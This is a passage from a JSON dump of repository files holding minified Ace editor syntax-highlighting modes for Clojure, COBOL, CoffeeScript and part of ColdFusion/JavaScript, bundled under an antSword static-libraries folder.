\");this.$rules={start:[{token:\"comment\",regex:\";.*$\"},{token:\"keyword\",regex:\"[\\\\(|\\\\)]\"},{token:\"keyword\",regex:\"[\\\\'\\\\(]\"},{token:\"keyword\",regex:\"[\\\\[|\\\\]]\"},{token:\"keyword\",regex:\"[\\\\{|\\\\}|\\\\#\\\\{|\\\\#\\\\}]\"},{token:\"keyword\",regex:\"[\\\\&]\"},{token:\"keyword\",regex:\"[\\\\#\\\\^\\\\{]\"},{token:\"keyword\",regex:\"[\\\\%]\"},{token:\"keyword\",regex:\"[@]\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language\",regex:\"[!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+||=|!=|<=|>=|<>|<|>|!|&&]\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$\\\\-]*\\\\b\"},{token:\"string\",regex:'\"',next:\"string\"},{token:\"constant\",regex:/:[^()\\[\\]{}'\"\\^%`,;\\s]+/},{token:\"string.regexp\",regex:'/#\"(?:\\\\.|(?:\\\\\")|[^\"\"\\n])*\"/g'}],string:[{token:\"constant.language.escape\",regex:\"\\\\\\\\.|\\\\\\\\$\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"}]}};r.inherits(s,i),t.ClojureHighlightRules=s}),ace.define(\"ace/mode/matching_parens_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\)/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\))/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){var t=e.match(/^(\\s+)/);return t?t[1]:\"\"}}).call(i.prototype),t.MatchingParensOutdent=i}),ace.define(\"ace/mode/clojure\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/clojure_highlight_rules\",\"ace/mode/matching_parens_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./clojure_highlight_rules\").ClojureHighlightRules,o=e(\"./matching_parens_outdent\").MatchingParensOutdent,u=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.minorIndentFunctions=[\"defn\",\"defn-\",\"defmacro\",\"def\",\"deftest\",\"testing\"],this.$toIndent=function(e){return e.split(\"\").map(function(e){return/\\s/.exec(e)?e:\" \"}).join(\"\")},this.$calculateIndent=function(e,t){var n=this.$getIndent(e),r=0,i,s;for(var o=e.length-1;o>=0;o--){s=e[o],s===\"(\"?(r--,i=!0):s===\"(\"||s===\"[\"||s===\"{\"?(r--,i=!1):(s===\")\"||s===\"]\"||s===\"}\")&&r++;if(r<0)break}if(!(r<0&&i))return r<0&&!i?this.$toIndent(e.substring(0,o+1)):r>0?(n=n.substring(0,n.length-t.length),n):n;o+=1;var u=o,a=\"\";for(;;){s=e[o];if(s===\" \"||s===\"\t\")return this.minorIndentFunctions.indexOf(a)!==-1?this.$toIndent(e.substring(0,u-1)+t):this.$toIndent(e.substring(0,o+1));if(s===undefined)return this.$toIndent(e.substring(0,u-1)+t);a+=e[o],o++}},this.getNextLineIndent=function(e,t,n){return this.$calculateIndent(t,n)},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/clojure\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-cobol.js",
    "content": "ace.define(\"ace/mode/cobol_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"ACCEPT|MERGE|SUM|ADD||MESSAGE|TABLE|ADVANCING|MODE|TAPE|AFTER|MULTIPLY|TEST|ALL|NEGATIVE|TEXT|ALPHABET|NEXT|THAN|ALSO|NO|THEN|ALTERNATE|NOT|THROUGH|AND|NUMBER|THRU|ANY|OCCURS|TIME|ARE|OF|TO|AREA|OFF|TOP||ASCENDING|OMITTED|TRUE|ASSIGN|ON|TYPE|AT|OPEN|UNIT|AUTHOR|OR|UNTIL|BEFORE|OTHER|UP|BLANK|OUTPUT|USE|BLOCK|PAGE|USING|BOTTOM|PERFORM|VALUE|BY|PIC|VALUES|CALL|PICTURE|WHEN|CANCEL|PLUS|WITH|CD|POINTER|WRITE|CHARACTER|POSITION||ZERO|CLOSE|POSITIVE|ZEROS|COLUMN|PROCEDURE|ZEROES|COMMA|PROGRAM|COMMON|PROGRAM-ID|COMMUNICATION|QUOTE|COMP|RANDOM|COMPUTE|READ|CONTAINS|RECEIVE|CONFIGURATION|RECORD|CONTINUE|REDEFINES|CONTROL|REFERENCE|COPY|REMAINDER|COUNT|REPLACE|DATA|REPORT|DATE|RESERVE|DAY|RESET|DELETE|RETURN|DESTINATION|REWIND|DISABLE|REWRITE|DISPLAY|RIGHT|DIVIDE|RUN|DOWN|SAME|ELSE|SEARCH|ENABLE|SECTION|END|SELECT|ENVIRONMENT|SENTENCE|EQUAL|SET|ERROR|SIGN|EXIT|SEQUENTIAL|EXTERNAL|SIZE|FLASE|SORT|FILE|SOURCE|LENGTH|SPACE|LESS|STANDARD|LIMIT|START|LINE|STOP|LOCK|STRING|LOW-VALUE|SUBTRACT\",t=\"true|false|null\",n=\"count|min|max|avg|sum|rank|now|coalesce|main\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\*.*$\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.CobolHighlightRules=s}),ace.define(\"ace/mode/cobol\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/cobol_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./cobol_highlight_rules\").CobolHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"*\",this.$id=\"ace/mode/cobol\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-coffee.js",
    "content": "ace.define(\"ace/mode/coffee_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function s(){var e=\"[$A-Za-z_\\\\x7f-\\\\uffff][$\\\\w\\\\x7f-\\\\uffff]*\",t=\"this|throw|then|try|typeof|super|switch|return|break|by|continue|catch|class|in|instanceof|is|isnt|if|else|extends|for|own|finally|function|while|when|new|no|not|delete|debugger|do|loop|of|off|or|on|unless|until|and|yes\",n=\"true|false|null|undefined|NaN|Infinity\",r=\"case|const|default|function|var|void|with|enum|export|implements|interface|let|package|private|protected|public|static|yield|__hasProp|slice|bind|indexOf\",i=\"Array|Boolean|Date|Function|Number|Object|RegExp|ReferenceError|String|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray\",s=\"Math|JSON|isNaN|isFinite|parseInt|parseFloat|encodeURI|encodeURIComponent|decodeURI|decodeURIComponent|String|\",o=\"window|arguments|prototype|document\",u=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"invalid.illegal\":r,\"language.support.class\":i,\"language.support.function\":s,\"variable.language\":o},\"identifier\"),a={token:[\"paren.lparen\",\"variable.parameter\",\"paren.rparen\",\"text\",\"storage.type\"],regex:/(?:(\\()((?:\"[^\")]*?\"|'[^')]*?'|\\/[^\\/)]*?\\/|[^()\\\"'\\/])*?)(\\))(\\s*))?([\\-=]>)/.source},f=/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)/;this.$rules={start:[{token:\"constant.numeric\",regex:\"(?:0x[\\\\da-fA-F]+|(?:\\\\d+(?:\\\\.\\\\d+)?|\\\\.\\\\d+)(?:[eE][+-]?\\\\d+)?)\"},{stateName:\"qdoc\",token:\"string\",regex:\"'''\",next:[{token:\"string\",regex:\"'''\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqdoc\",token:\"string\",regex:'\"\"\"',next:[{token:\"string\",regex:'\"\"\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qstring\",token:\"string\",regex:\"'\",next:[{token:\"string\",regex:\"'\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqstring\",token:\"string.start\",regex:'\"',next:[{token:\"string.end\",regex:'\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"js\",token:\"string\",regex:\"`\",next:[{token:\"string\",regex:\"`\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{regex:\"[{}]\",onMatch:function(e,t,n){this.next=\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift()||\"\";if(this.next.indexOf(\"string\")!=-1)return\"paren.string\"}return\"paren\"}},{token:\"string.regex\",regex:\"///\",next:\"heregex\"},{token:\"string.regex\",regex:/(?:\\/(?![\\s=])[^[\\/\\n\\\\]*(?:(?:\\\\[\\s\\S]|\\[[^\\]\\n\\\\]*(?:\\\\[\\s\\S][^\\]\\n\\\\]*)*])[^[\\/\\n\\\\]*)*\\/)(?:[imgy]{0,4})(?!\\w)/},{token:\"comment\",regex:\"###(?!#)\",next:\"comment\"},{token:\"comment\",regex:\"#.*\"},{token:[\"punctuation.operator\",\"text\",\"identifier\"],regex:\"(\\\\.)(\\\\s*)(\"+r+\")\"},{token:\"punctuation.operator\",regex:\"\\\\.\"},{token:[\"keyword\",\"text\",\"language.support.class\",\"text\",\"keyword\",\"text\",\"language.support.class\"],regex:\"(class)(\\\\s+)(\"+e+\")(?:(\\\\s+)(extends)(\\\\s+)(\"+e+\"))?\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\"].concat(a.token),regex:\"(\"+e+\")(\\\\s*)([=:])(\\\\s*)\"+a.regex},a,{token:\"variable\",regex:\"@(?:\"+e+\")?\"},{token:u,regex:e},{token:\"punctuation.operator\",regex:\"\\\\,|\\\\.\"},{token:\"storage.type\",regex:\"[\\\\-=]>\"},{token:\"keyword.operator\",regex:\"(?:[-+*/%<>&|^!?=]=|>>>=?|\\\\-\\\\-|\\\\+\\\\+|::|&&=|\\\\|\\\\|=|<<=|>>=|\\\\?\\\\.|\\\\.{2,3}|[!*+-=><])\"},{token:\"paren.lparen\",regex:\"[({[]\"},{token:\"paren.rparen\",regex:\"[\\\\]})]\"},{token:\"text\",regex:\"\\\\s+\"}],heregex:[{token:\"string.regex\",regex:\".*?///[imgy]{0,4}\",next:\"start\"},{token:\"comment.regex\",regex:\"\\\\s+(?:#.*)?\"},{token:\"string.regex\",regex:\"\\\\S+\"}],comment:[{token:\"comment\",regex:\"###\",next:\"start\"},{defaultToken:\"comment\"}]},this.normalizeRules()}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules;r.inherits(s,i),t.CoffeeHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/coffee\",[\"require\",\"exports\",\"module\",\"ace/mode/coffee_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/folding/coffee\",\"ace/range\",\"ace/mode/text\",\"ace/worker/worker_client\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";function l(){this.HighlightRules=r,this.$outdent=new i,this.foldingRules=new s}var r=e(\"./coffee_highlight_rules\").CoffeeHighlightRules,i=e(\"./matching_brace_outdent\").MatchingBraceOutdent,s=e(\"./folding/coffee\").FoldMode,o=e(\"../range\").Range,u=e(\"./text\").Mode,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"../lib/oop\");f.inherits(l,u),function(){var e=/(?:[({[=:]|[-=]>|\\b(?:else|try|(?:swi|ca)tch(?:\\s+[$A-Za-z_\\x7f-\\uffff][$\\w\\x7f-\\uffff]*)?|finally))\\s*$|^\\s*(else\\b\\s*)?(?:if|for|while|loop)\\b(?!.*\\bthen\\b)/,t=/^(\\s*)#/,n=/^\\s*###(?!#)/,r=/^\\s*/;this.getNextLineIndent=function(t,n,r){var i=this.$getIndent(n),s=this.getTokenizer().getLineTokens(n,t).tokens;return(!s.length||s[s.length-1].type!==\"comment\")&&t===\"start\"&&e.test(n)&&(i+=r),i},this.toggleCommentLines=function(e,i,s,u){console.log(\"toggle\");var a=new o(0,0,0,0);for(var f=s;f<=u;++f){var l=i.getLine(f);if(n.test(l))continue;t.test(l)?l=l.replace(t,\"$1\"):l=l.replace(r,\"$&#\"),a.end.row=a.start.row=f,a.end.column=l.length+1,i.replace(a,l)}},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/coffee_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/coffee\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-coldfusion.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\